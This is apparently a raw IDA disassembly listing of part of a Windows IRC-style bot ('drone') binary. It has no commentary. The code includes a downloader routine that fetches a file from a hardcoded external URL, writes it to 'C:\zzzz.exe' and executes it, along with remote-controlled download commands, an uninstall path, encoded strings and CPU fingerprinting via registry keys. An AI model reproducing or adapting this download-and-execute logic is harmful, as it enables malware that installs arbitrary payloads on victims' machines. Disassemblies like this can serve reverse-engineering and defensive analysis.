loc_408325:				; CODE XREF: sub_40819D+ACj
					; sub_40819D+10Dj ...
		cmp	byte_4339A5, bl
		jnz	loc_40826C
		push	dword_426A44
		call	ds:dword_41E240	; closesocket
		mov	ecx, [esp+150h+var_4]
		pop	edi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40819D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408355	proc near		; CODE XREF: sub_402F05+2Dp
					; sub_404954+396p ...

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	esi
		push	0
		push	ecx
		push	eax
		push	0
		push	0
		call	ds:off_41E110
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_4083AE
		push	edi
		lea	eax, [ebp+var_4B]
		push	38h
		push	eax
		call	sub_40CAE4
		mov	eax, [esi]
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_433CAC
		push	eax
		mov	ecx, offset dword_433CA8
		push	ecx
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_4C], 0
		mov	[ebp+var_50], esi
		call	sub_4084E5

loc_4083AE:				; CODE XREF: sub_408355+27j
		push	1
		push	dword ptr [esi+4]
		call	ds:off_41E07C
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		mov	eax, esi
		call	sub_40AFEE
		leave
		retn	4
sub_408355	endp


; =============== S U B	R O U T	I N E =======================================



sub_4083C9	proc near		; CODE XREF: sub_4026EE+11Dp
					; .text:0040A7AEp
		push	ebx
		mov	ebx, eax
		push	0
		push	dword ptr [ebx+4]
		call	ds:off_41E094
		test	eax, eax
		jz	short loc_4083E4
		call	sub_4083E8
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4083E4:				; CODE XREF: sub_4083C9+10j
		xor	al, al
		pop	ebx
		retn
sub_4083C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083E8	proc near		; CODE XREF: sub_4083C9+12p
					; sub_40847C+5Dp

var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		and	dword ptr [ebx+4], 0
		mov	eax, dword_433CAC
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, offset dword_433CA8
		push	esi
		push	edi
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], eax

loc_408409:				; CODE XREF: sub_4083E8+4Cj
		mov	eax, dword_433CAC
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_C], eax
		call	sub_402D8D
		test	al, al
		jz	short loc_408471
		call	sub_402D3F
		mov	ecx, [ebx]
		cmp	ecx, [eax+40h]
		lea	edi, [ebp+var_18]
		jz	short loc_408436
		call	sub_402D5F
		jmp	short loc_408409
; ---------------------------------------------------------------------------

loc_408436:				; CODE XREF: sub_4083E8+45j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		lea	esi, [ebp+var_10]
		mov	[ebp+var_C], eax
		call	sub_402D5F
		mov	eax, [eax+4]
		cmp	eax, dword_433CAC
		jz	short loc_408471
		mov	ecx, [eax+4]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	ecx, [eax]
		mov	edx, [eax+4]
		push	eax
		mov	[ecx+4], edx
		call	sub_40D352
		dec	dword_433CB0
		pop	ecx

loc_408471:				; CODE XREF: sub_4083E8+36j
					; sub_4083E8+6Bj
		push	ebx
		call	sub_40D352
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_4083E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40847C	proc near		; CODE XREF: sub_401000+3EBp
					; sub_408ADE+240p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 1Ch
		mov	eax, dword_433CAC
		mov	eax, [eax]
		push	ebx
		mov	[esp+20h+var_14], eax
		mov	eax, offset dword_433CA8
		push	esi
		push	edi
		mov	[esp+28h+var_18], eax
		mov	[esp+28h+var_10], eax

loc_4084A0:				; CODE XREF: sub_40847C+54j
		mov	eax, dword_433CAC
		lea	edi, [esp+28h+var_10]
		lea	esi, [esp+28h+var_18]
		mov	[esp+28h+var_C], eax
		call	sub_402D8D
		test	al, al
		jz	short loc_4084DE
		call	sub_402D3F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+40h]
		jz	short loc_4084D2
		lea	edi, [esp+28h+var_8]
		call	sub_402D5F
		jmp	short loc_4084A0
; ---------------------------------------------------------------------------

loc_4084D2:				; CODE XREF: sub_40847C+49j
		call	sub_402D3F
		mov	ebx, [eax]
		call	sub_4083E8

loc_4084DE:				; CODE XREF: sub_40847C+3Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40847C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4084E5	proc near		; CODE XREF: sub_408355+54p
		push	48h
		mov	eax, offset loc_41DBCF
		call	sub_40EAAD
		push	dword ptr [ebp+8]
		mov	esi, [ebp+10h]
		push	dword ptr [esi+4]
		push	esi
		call	sub_408570
		mov	ecx, 3C3C3C3h
		sub	ecx, dword_433CB0
		cmp	ecx, 1
		jnb	short loc_408542
		push	offset aListTTooLong ; "list<T>	too long"
		lea	ecx, [ebp-2Ch]
		call	sub_40207D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401C3B
		push	offset dword_422060
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset nullsub_1
		call	sub_40E69C

loc_408542:				; CODE XREF: sub_4084E5+29j
		inc	dword_433CB0
		mov	[esi+4], eax
		mov	ecx, [eax+4]
		mov	[ecx], eax
		call	sub_40EB4C
		retn	0Ch
sub_4084E5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_408558	proc near		; CODE XREF: .text:loc_41DCC5p
		push	4Ch
		call	loc_40D430
		test	eax, eax
		pop	ecx
		jz	short loc_408566
		mov	[eax], eax

loc_408566:				; CODE XREF: sub_408558+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short locret_40856F
		mov	[ecx], eax

locret_40856F:				; CODE XREF: sub_408558+13j
		retn
sub_408558	endp


; =============== S U B	R O U T	I N E =======================================



sub_408570	proc near		; CODE XREF: sub_4084E5+16p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	4Ch
		call	loc_40D430
		test	eax, eax
		pop	ecx
		jz	short loc_408582
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx

loc_408582:				; CODE XREF: sub_408570+Aj
		lea	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_40858F
		mov	edx, [esp+arg_4]
		mov	[ecx], edx

loc_40858F:				; CODE XREF: sub_408570+17j
		push	edi
		lea	edi, [eax+8]
		test	edi, edi
		jz	short loc_4085A2
		push	esi
		mov	esi, [esp+8+arg_8]
		push	11h
		pop	ecx
		rep movsd
		pop	esi

loc_4085A2:				; CODE XREF: sub_408570+25j
		pop	edi
		retn	0Ch
sub_408570	endp


; =============== S U B	R O U T	I N E =======================================



sub_4085A6	proc near		; CODE XREF: sub_404954:loc_404CC6p

var_8		= dword	ptr -8

		push	334h
		mov	eax, offset loc_41DC80
		call	sub_40EB16
		push	327h
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	eax
		call	sub_40CBA0
		lea	eax, [ebp-338h]
		add	esp, 0Ch
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax-338h],	bl
		pop	ecx
		lea	eax, [ebp-238h]
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax-238h],	bl
		mov	[esp+8+var_8], offset aHttpWww_sleepy ;	"http://www.sleepyhollowponies.com/z0.ex"...
		mov	esi, 0FFh
		lea	eax, [ebp-215h]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-215h]
		add	esp, 0Ch
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax-215h],	bl
		mov	[esp+8+var_8], offset aCZzzz_exe ; "C:\\zzzz.exe"
		lea	eax, [ebp-115h]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-115h]
		add	esp, 0Ch
		push	eax
		call	sub_40C9B0
		mov	[ebp+eax-115h],	bl
		pop	ecx
		push	8
		mov	byte ptr [ebp-12h], 1
		mov	byte ptr [ebp-13h], 1
		mov	byte ptr [ebp-15h], 1
		mov	[ebp-14h], bl
		call	loc_40D430
		mov	esi, eax
		pop	ecx
		mov	[ebp-33Ch], esi
		cmp	esi, ebx
		mov	[ebp-4], ebx
		jz	short loc_408688
		push	offset sub_408ADE
		lea	ecx, [ebp-338h]
		mov	edi, offset byte_4202BD
		call	sub_408355

loc_408688:				; CODE XREF: sub_4085A6+CBj
		call	sub_40EB60
		retn
sub_4085A6	endp

; ---------------------------------------------------------------------------
		push	4B4h
		mov	eax, offset loc_41DC4B
		call	sub_40EB16
		cmp	dword ptr [ebp+1Ch], 3
		mov	eax, [ebp+10h]
		mov	edi, [ebp+20h]
		mov	[ebp-4C0h], eax
		mov	eax, [ebp+18h]
		mov	[ebp-4BCh], eax
		jl	loc_4088CE
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-0CFh]
		push	ebx
		push	eax
		mov	[ebp-0D0h], bl
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp-18Fh]
		push	ebx
		push	eax
		mov	[ebp-190h], bl
		call	sub_40CBA0
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [edi+4]
		call	sub_402DAA
		push	0C0h
		lea	esi, [ebp-190h]
		mov	ebx, offset aBezIiaZAdgeVzv ; "ס¥§ÒÓÔ©© Ô§Ò ¤£¥×¢§¢ §¢Ð¦Ô¦Õ£Ò¥Õ§¢¦Õ§§"...
		call	sub_401AD1
		add	esp, 24h
		cmp	byte ptr [ebp+8], 0
		jz	short loc_408725
		cmp	byte_42514A, 0
		jz	loc_4088A8

loc_408725:				; CODE XREF: .text:00408716j
		lea	eax, [ebp-190h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40888D
		push	327h
		push	eax
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40CBA0
		push	dword ptr [ebp-4BCh]
		mov	esi, offset aS	; "%s"
		push	esi
		mov	ebx, 0FFh
		lea	eax, [ebp-4B8h]
		push	ebx
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40C9B0
		push	dword ptr [ebp-4C0h]
		mov	byte ptr [ebp+eax-4B8h], 0
		push	esi
		lea	eax, [ebp-3B8h]
		push	22h
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-3B8h]
		push	eax
		call	sub_40C9B0
		push	dword ptr [edi+8]
		mov	byte ptr [ebp+eax-3B8h], 0
		push	esi
		lea	eax, [ebp-395h]
		push	ebx
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-395h]
		add	esp, 44h
		push	eax
		call	sub_40C9B0
		push	dword ptr [edi+0Ch]
		mov	byte ptr [ebp+eax-395h], 0
		push	esi
		lea	eax, [ebp-295h]
		push	ebx
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-295h]
		push	eax
		call	sub_40C9B0
		add	esp, 18h
		mov	byte ptr [ebp+eax-295h], 0
		mov	al, [ebp+8]
		push	4
		mov	[ebp-192h], al
		mov	al, [ebp+0Ch]
		pop	esi
		cmp	[ebp+1Ch], esi
		mov	[ebp-193h], al
		jl	short loc_408850

loc_408819:				; CODE XREF: .text:00408843j
		push	offset aE	; "-e"
		push	dword ptr [edi+esi*4]
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408847
		push	offset a1	; "1"
		push	dword ptr [edi+esi*4]
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_408847
		inc	esi
		cmp	esi, [ebp+1Ch]
		jle	short loc_408819
		jmp	short loc_408857
; ---------------------------------------------------------------------------

loc_408847:				; CODE XREF: .text:0040882Aj
					; .text:0040883Dj
		mov	byte ptr [ebp-195h], 1
		jmp	short loc_408857
; ---------------------------------------------------------------------------

loc_408850:				; CODE XREF: .text:00408817j
		mov	byte ptr [ebp-195h], 0

loc_408857:				; CODE XREF: .text:00408845j
					; .text:0040884Ej
		push	8
		mov	byte ptr [ebp-194h], 0
		call	loc_40D430
		pop	ecx
		mov	[ebp-4C0h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_4088A8
		push	offset sub_408ADE
		lea	ecx, [ebp-4B8h]
		mov	edi, offset byte_4202BD
		mov	esi, eax
		call	sub_408355
		jmp	short loc_4088A8
; ---------------------------------------------------------------------------

loc_40888D:				; CODE XREF: .text:0040873Cj
		push	offset aAccessDenied_ ;	"Access	Denied."
		push	dword ptr [ebp-4BCh]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 10h

loc_4088A8:				; CODE XREF: .text:0040871Fj
					; .text:00408872j ...
		mov	esi, 0C0h
		push	esi
		lea	eax, [ebp-0D0h]
		push	0
		push	eax
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp-190h]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 18h

loc_4088CE:				; CODE XREF: .text:004086B6j
		call	sub_40EB60
		retn	1Ch
; ---------------------------------------------------------------------------
		push	4B4h
		mov	eax, offset loc_41DC4B
		call	sub_40EB16
		cmp	dword ptr [ebp+1Ch], 3
		mov	eax, [ebp+10h]
		mov	edi, [ebp+20h]
		mov	[ebp-4C0h], eax
		mov	eax, [ebp+18h]
		mov	[ebp-4BCh], eax
		jl	loc_408AD6
		mov	esi, 0BFh
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp-0CFh]
		push	ebx
		push	eax
		mov	[ebp-0D0h], bl
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp-18Fh]
		push	ebx
		push	eax
		mov	[ebp-190h], bl
		call	sub_40CBA0
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [edi+4]
		call	sub_402DAA
		push	0C0h
		lea	esi, [ebp-190h]
		mov	ebx, offset aIbeVJJaiAiJzeE ; "¨¡¥Ð¢Ô¦×¦ ©ÓÓ ©Ðצ§¥ÔÕÓ¥ ÔÔÒ¨¤£Ô¥¥©ÕÐÔ¦"...
		call	sub_401AD1
		add	esp, 24h
		cmp	byte ptr [ebp+8], 0
		jz	short loc_40896D
		cmp	byte_42514A, 0
		jz	loc_408AB0

loc_40896D:				; CODE XREF: .text:0040895Ej
		lea	eax, [ebp-190h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		call	sub_40D5D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_408A95
		push	327h
		push	eax
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40CBA0
		push	dword ptr [ebp-4BCh]
		mov	esi, offset aS	; "%s"
		push	esi
		mov	ebx, 0FFh
		lea	eax, [ebp-4B8h]
		push	ebx
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40C9B0
		push	dword ptr [ebp-4C0h]
		mov	byte ptr [ebp+eax-4B8h], 0
		push	esi
		lea	eax, [ebp-3B8h]
		push	22h
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-3B8h]
		push	eax
		call	sub_40C9B0
		push	dword ptr [edi+8]
		mov	byte ptr [ebp+eax-3B8h], 0
		push	esi
		lea	eax, [ebp-395h]
		push	ebx
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-395h]
		add	esp, 44h
		push	eax
		call	sub_40C9B0
		push	dword ptr [edi+0Ch]
		mov	byte ptr [ebp+eax-395h], 0
		push	esi
		lea	eax, [ebp-295h]
		push	ebx
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp-295h]
		push	eax
		call	sub_40C9B0
		mov	byte ptr [ebp+eax-295h], 0
		mov	al, [ebp+8]
		mov	[ebp-192h], al
		mov	al, [ebp+0Ch]
		push	8
		mov	[ebp-193h], al
		mov	byte ptr [ebp-195h], 1
		mov	byte ptr [ebp-194h], 1
		call	loc_40D430
		add	esp, 1Ch
		mov	[ebp-4C0h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_408AB0
		push	offset sub_408ADE
		lea	ecx, [ebp-4B8h]
		mov	edi, offset byte_4202BD
		mov	esi, eax
		call	sub_408355
		jmp	short loc_408AB0
; ---------------------------------------------------------------------------

loc_408A95:				; CODE XREF: .text:00408984j
		push	offset aAccessDenied_ ;	"Access	Denied."
		push	dword ptr [ebp-4BCh]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		add	esp, 10h

loc_408AB0:				; CODE XREF: .text:00408967j
					; .text:00408A7Aj ...
		mov	esi, 0C0h
		push	esi
		lea	eax, [ebp-0D0h]
		push	0
		push	eax
		call	sub_40CBA0
		push	esi
		lea	eax, [ebp-190h]
		push	0
		push	eax
		call	sub_40CBA0
		add	esp, 18h

loc_408AD6:				; CODE XREF: .text:004088FEj
		call	sub_40EB60
		retn	1Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408ADE	proc near		; DATA XREF: sub_4085A6+CDo
					; .text:00408874o ...

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= byte ptr -73Ch
var_738		= byte ptr -738h
var_638		= byte ptr -638h
var_615		= byte ptr -615h
var_515		= byte ptr -515h
var_415		= byte ptr -415h
var_414		= byte ptr -414h
var_413		= dword	ptr -413h
var_408		= byte ptr -408h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 754h
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+754h+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ecx, 0C9h
		lea	edi, [esp+760h+var_738]
		rep movsd
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		movsw
		push	ebx
		push	offset aMozilla5_0 ; "Mozilla/5.0"
		movsb
		call	ds:dword_41E228	; InternetOpenA
		mov	esi, eax
		lea	eax, [esp+760h+var_515]
		push	eax
		lea	eax, [esp+764h+var_615]
		push	eax
		push	offset aDlDownloadingS ; "DL: Downloading %s to	%s"
		lea	eax, [esp+76Ch+var_738]
		push	eax
		push	[esp+770h+var_413]
		mov	edi, offset dword_426A1C
		push	edi
		call	sub_403D0C
		add	esp, 18h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [esp+770h+var_615]
		push	eax
		push	esi
		call	ds:dword_41E224	; InternetOpenUrlA
		cmp	esi, ebx
		mov	[esp+760h+var_744], eax
		jz	loc_408CFD
		cmp	eax, ebx
		jz	loc_408CF6
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [esp+778h+var_515]
		push	eax
		call	ds:dword_41E06C	; CreateFileA
		mov	[esp+760h+var_748], eax
		call	ds:dword_41E108	; GetTickCount
		mov	[esp+760h+var_740], eax
		mov	[esp+760h+var_750], ebx
		mov	esi, 400h

loc_408BA5:				; CODE XREF: sub_408ADE+11Fj
		push	esi
		lea	eax, [esp+764h+var_408]
		push	ebx
		push	eax
		call	sub_40CBA0
		add	esp, 0Ch
		lea	eax, [esp+760h+var_74C]
		push	eax
		push	esi
		lea	eax, [esp+768h+var_408]
		push	eax
		push	[esp+76Ch+var_744]
		call	ds:dword_41E220	; InternetReadFile
		push	ebx
		lea	eax, [esp+764h+var_73C]
		push	eax
		push	[esp+768h+var_74C]
		lea	eax, [esp+76Ch+var_408]
		push	eax
		push	[esp+770h+var_748]
		call	ds:dword_41E088	; WriteFile
		test	eax, eax
		jz	loc_408CA8
		mov	eax, [esp+760h+var_74C]
		add	[esp+760h+var_750], eax
		cmp	eax, ebx
		ja	short loc_408BA5
		call	ds:dword_41E108	; GetTickCount
		sub	eax, [esp+760h+var_740]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ecx, eax
		cmp	ecx, ebx
		jnz	short loc_408C1B
		xor	ecx, ecx
		inc	ecx

loc_408C1B:				; CODE XREF: sub_408ADE+138j
		mov	eax, [esp+760h+var_750]
		xor	edx, edx
		div	ecx
		shr	eax, 0Ah
		push	eax
		push	ecx
		push	[esp+768h+var_750]
		lea	eax, [esp+76Ch+var_515]
		push	eax
		push	offset aDlDownloadSIBy ; "DL: Download %s (%i Bytes) finished in "...
		lea	eax, [esp+774h+var_738]
		push	eax
		push	[esp+778h+var_413]
		push	edi
		call	sub_403D0C
		add	esp, 20h
		push	[esp+760h+var_748]
		call	ds:dword_41E0E0	; CloseHandle
		cmp	[esp+760h+var_415], 1
		jnz	loc_408D17
		cmp	[esp+760h+var_414], bl
		lea	eax, [esp+760h+var_515]
		jz	short loc_408CB6
		push	eax
		call	sub_4024ED
		test	al, al
		pop	ecx
		lea	eax, [esp+760h+var_738]
		jz	short loc_408CAF
		push	offset aMainUninstalli ; "Main:	Uninstalling Drone"
		push	eax
		push	[esp+768h+var_413]
		push	edi
		call	sub_403D0C
		add	esp, 10h
		lea	eax, [esp+760h+var_638]
		push	eax
		call	sub_4026EE

loc_408CA8:				; CODE XREF: sub_408ADE+10Fj
		push	offset aDlFailedBadLoc ; "DL: Failed; Bad Location."
		jmp	short loc_408D02
; ---------------------------------------------------------------------------

loc_408CAF:				; CODE XREF: sub_408ADE+1A5j
		push	offset aDlFailedToUpda ; "DL: Failed To	Update"
		jmp	short loc_408D06
; ---------------------------------------------------------------------------

loc_408CB6:				; CODE XREF: sub_408ADE+196j
		push	5
		push	ebx
		push	ebx
		push	eax
		push	offset byte_4202BD
		push	ebx
		call	ds:dword_41E1F0
		test	eax, eax
		jnz	short loc_408CD2
		push	offset aDlErrorExecuti ; "DL: Error Executing File."
		jmp	short loc_408D02
; ---------------------------------------------------------------------------

loc_408CD2:				; CODE XREF: sub_408ADE+1EBj
		lea	eax, [esp+760h+var_515]
		push	eax
		push	offset aDlExecutedFile ; "DL: Executed File: %s"
		lea	eax, [esp+768h+var_738]
		push	eax
		push	[esp+76Ch+var_413]
		push	edi
		call	sub_403D0C
		add	esp, 14h
		jmp	short loc_408D17
; ---------------------------------------------------------------------------

loc_408CF6:				; CODE XREF: sub_408ADE+91j
		push	offset aDlFailedBadUrl ; "DL: Failed; Bad URL"
		jmp	short loc_408D02
; ---------------------------------------------------------------------------

loc_408CFD:				; CODE XREF: sub_408ADE+89j
		push	offset aDlFailedWinine ; "DL: Failed; WinINET Error"

loc_408D02:				; CODE XREF: sub_408ADE+1CFj
					; sub_408ADE+1F2j ...
		lea	eax, [esp+764h+var_738]

loc_408D06:				; CODE XREF: sub_408ADE+1D6j
		push	eax
		push	[esp+768h+var_413]
		push	edi
		call	sub_403D0C
		add	esp, 10h

loc_408D17:				; CODE XREF: sub_408ADE+182j
					; sub_408ADE+216j
		call	ds:dword_41E0E4	; GetCurrentThreadId
		push	eax
		call	sub_40847C
		pop	ecx
		mov	ecx, [esp+760h+var_4]
		pop	edi
		pop	esi
		pop	ebx
		xor	ecx, esp
		xor	eax, eax
		call	sub_40AFEE
		mov	esp, ebp
		pop	ebp
		retn	4
sub_408ADE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 118h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp-4], eax
		mov	eax, [ebp+18h]
		push	ebx
		mov	[ebp-118h], eax
		push	esi
		push	edi
		xor	eax, eax
		xor	ecx, ecx
		mov	[ebp-14h], cl
		lea	edi, [ebp-13h]
		stosd
		stosd
		stosd
		stosw
		push	0FFh
		stosb
		push	ecx
		lea	eax, [ebp-113h]
		push	eax
		mov	[ebp-114h], cl
		call	sub_40CBA0
		push	dword_426A1C
		lea	esi, [ebp-14h]
		call	sub_4028E8
		push	100h
		lea	esi, [ebp-114h]
		mov	ebx, offset byte_425081
		call	sub_401AD1
		mov	eax, esi
		push	eax
		push	dword_4265F4
		lea	eax, [ebp-14h]
		push	eax
		push	offset aHttpSDS	; "http://%s:%d/%s"
		push	dword ptr [ebp-118h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_426A1C
		call	sub_403D0C
		mov	ecx, [ebp-4]
		add	esp, 30h
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AFEE
		leave
		retn	1Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2C0h


sub_408DE0	proc near		; CODE XREF: .text:004090F2p

var_340		= dword	ptr -340h
var_33C		= dword	ptr -33Ch
var_335		= byte ptr -335h
var_334		= byte ptr -334h
var_234		= byte ptr -234h
var_233		= byte ptr -233h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_34		= byte ptr -34h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2C0h]
		sub	esp, 340h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+2C0h+var_4], eax
		push	ebx
		push	esi
		push	edi
		push	0Bh
		pop	ecx
		mov	esi, offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		lea	edi, [ebp+2C0h+var_34]
		rep movsd
		movsw
		movsb
		mov	ebx, 100h
		push	ebx
		xor	edi, edi
		lea	eax, [ebp+2C0h+var_334]
		push	edi
		push	eax
		call	sub_40CBA0
		push	4
		push	offset dword_426C48
		push	offset aMhz	; "~MHz"
		lea	eax, [ebp+2C0h+var_34]
		push	eax
		push	4
		call	sub_40518A
		add	esp, 20h
		test	al, al
		jz	loc_408FF2
		push	ebx
		lea	eax, [ebp+2C0h+var_334]
		push	eax
		push	offset aProcessornames ; "ProcessorNameString"
		lea	eax, [ebp+2C0h+var_34]
		push	eax
		push	1
		call	sub_40518A
		add	esp, 14h
		test	al, al
		jz	loc_408F2C
		mov	esi, 0FFh
		push	esi
		lea	eax, [ebp+2C0h+var_133]
		push	edi
		push	eax
		mov	[ebp+2C0h+var_335], 0
		mov	[ebp+2C0h+var_134], 0
		call	sub_40CBA0
		lea	eax, [ebp+2C0h+var_334]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+2C0h+var_134]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+2C0h+var_134]
		push	eax
		call	sub_40C9B0
		push	ebx
		push	edi
		mov	edi, offset byte_426B48
		push	edi
		mov	[ebp+eax+2C0h+var_134],	0
		call	sub_40CBA0
		and	[ebp+2C0h+var_33C], 0
		lea	eax, [ebp+2C0h+var_134]
		push	eax
		call	sub_40C9B0
		add	esp, 30h

loc_408ED3:				; CODE XREF: sub_408DE0+148j
		cmp	[ebp+2C0h+var_335], 0
		mov	eax, [ebp+2C0h+var_33C]
		jnz	short loc_408EEF
		cmp	[ebp+eax+2C0h+var_134],	20h
		jz	short loc_408F15
		dec	[ebp+2C0h+var_33C]
		mov	[ebp+2C0h+var_335], 1
		jmp	short loc_408F15
; ---------------------------------------------------------------------------

loc_408EEF:				; CODE XREF: sub_408DE0+FAj
		movsx	eax, [ebp+eax+2C0h+var_134]
		push	eax
		push	edi
		push	offset aSC	; "%s%c"
		push	esi
		push	edi
		call	sub_40CAE4
		push	edi
		call	sub_40C9B0
		add	esp, 18h
		mov	byte_426B48[eax], 0

loc_408F15:				; CODE XREF: sub_408DE0+104j
					; sub_408DE0+10Dj
		inc	[ebp+2C0h+var_33C]
		lea	eax, [ebp+2C0h+var_134]
		push	eax
		call	sub_40C9B0
		cmp	[ebp+2C0h+var_33C], eax
		pop	ecx
		jbe	short loc_408ED3
		jmp	short loc_408F5A
; ---------------------------------------------------------------------------

loc_408F2C:				; CODE XREF: sub_408DE0+85j
		push	ebx
		push	edi
		mov	edi, offset byte_426B48
		push	edi
		call	sub_40CBA0
		push	offset aUnknown	; "Unknown"
		mov	esi, 0FFh
		push	esi
		push	edi
		call	sub_40CAE4
		push	edi
		call	sub_40C9B0
		add	esp, 1Ch
		mov	byte_426B48[eax], 0

loc_408F5A:				; CODE XREF: sub_408DE0+14Aj
		push	esi
		lea	eax, [ebp+2C0h+var_233]
		push	0
		push	eax
		mov	[ebp+2C0h+var_234], 0
		call	sub_40CBA0
		and	dword_426C4C, 0
		xor	edi, edi
		add	esp, 0Ch
		inc	edi

loc_408F7D:				; CODE XREF: sub_408DE0+207j
		inc	dword_426C4C
		push	ebx
		lea	eax, [ebp+2C0h+var_234]
		push	0
		push	eax
		call	sub_40CBA0
		push	edi
		push	offset aHardwareDesc_0 ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		lea	eax, [ebp+2C0h+var_234]
		push	esi
		push	eax
		call	sub_40CAE4
		lea	eax, [ebp+2C0h+var_234]
		push	eax
		call	sub_40C9B0
		add	esp, 20h
